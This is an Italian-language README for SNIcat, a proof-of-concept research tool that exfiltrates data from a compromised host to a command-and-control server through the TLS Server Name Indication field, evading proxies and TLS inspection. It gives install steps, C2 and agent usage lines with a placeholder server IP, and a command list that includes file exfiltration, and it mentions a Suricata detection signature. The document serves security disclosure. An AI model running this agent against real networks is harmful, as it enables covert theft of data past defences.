
SNIcat è uno strumento proof of concept che effettua esfiltrazione di dati, utilizzando un metodo di canale nascosto tramite Server Name Indication, un'estensione TLS Client Hello. Lo strumento consiste in un agente che risiede sull'host interno compromesso, e un server Command&Control che controlla l'agente e raccoglie i dati esfiltrati.
La storia completa dietro SNIcat può essere trovata nel nostro post del blog
SNIcat è stato testato su macOS e su una varietà di distribuzioni Linux. Anche se può essere facilmente portato, al momento non esiste una versione per Windows, poiché è solo uno strumento PoC.
Il metodo di esfiltrazione non funziona con proxy espliciti, a causa dell'uso di HTTP CONNECT, e non di TLS Client Hello, quando ci si connette tramite un proxy esplicito.
SNIcat potrebbe non funzionare con prodotti e versioni software che non abbiamo testato, ma ciò non significa che i prodotti e/o le versioni software non siano vulnerabili.

Abbiamo scoperto un nuovo metodo furtivo di esfiltrazione dei dati che bypassa specificamente le soluzioni di perimetro di sicurezza come proxy web, firewall di nuova generazione (NGFW) e soluzioni dedicate per l'intercettazione e l'ispezione TLS. I nostri test confermano che si tratta di un problema diffuso che colpisce diversi tipi di soluzioni di sicurezza e soluzioni di vari fornitori. Abbiamo testato con successo la nostra tecnica contro prodotti di Cisco, F5 Networks, Palo Alto Networks e Fortinet, e ipotizziamo che molti altri fornitori siano suscettibili.
Utilizzando il nostro metodo di esfiltrazione SNIcat, abbiamo scoperto che possiamo bypassare una soluzione di perimetro di sicurezza che esegue l'ispezione TLS, anche quando il dominio Command & Control (C2) che utilizziamo è bloccato dalle comuni funzionalità di reputazione e prevenzione delle minacce integrate nelle soluzioni di sicurezza stesse. In breve, abbiamo scoperto che le soluzioni progettate per proteggere gli utenti li hanno introdotti a una nuova vulnerabilità.
Abbiamo anche fornito una firma Suricata per rilevare questo specifico strumento.
Clona il repository:
https://github.com/mnemonic-no/SNIcat.git
Installa le dipendenze:
pip3 install -r requirements.txt --user
C2
Ottieni un certificato wildcard e una chiave da una CA pubblicamente attendibile. Questo rappresenta GOOD_CERT e GOOD_CERT_KEY.
Utilizza un certificato e una chiave autofirmati (non in alcun trust store) come BAD_CERT e BAD_CERT_KEY.
(*) USAGE: 'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE: 'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'
Agente
(*) USAGE: 'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example: 'python3 snicat_agent.py 192.0.2.1 443 log=off'
Comandi disponibili C2
LIST - display all content in current folder
LS - display only files in the currenet folder
SIZE - display size of files in the currenet folder
LD - display every directory in current folder
CB - moves down to root tree folder - similar to 'cd .. '
CD <folder-id> - moves up the specified folder
EX <file-id> - exfiltrate the specified file
ALIVE - check alive/dead agent
EXIT - quit the C2 server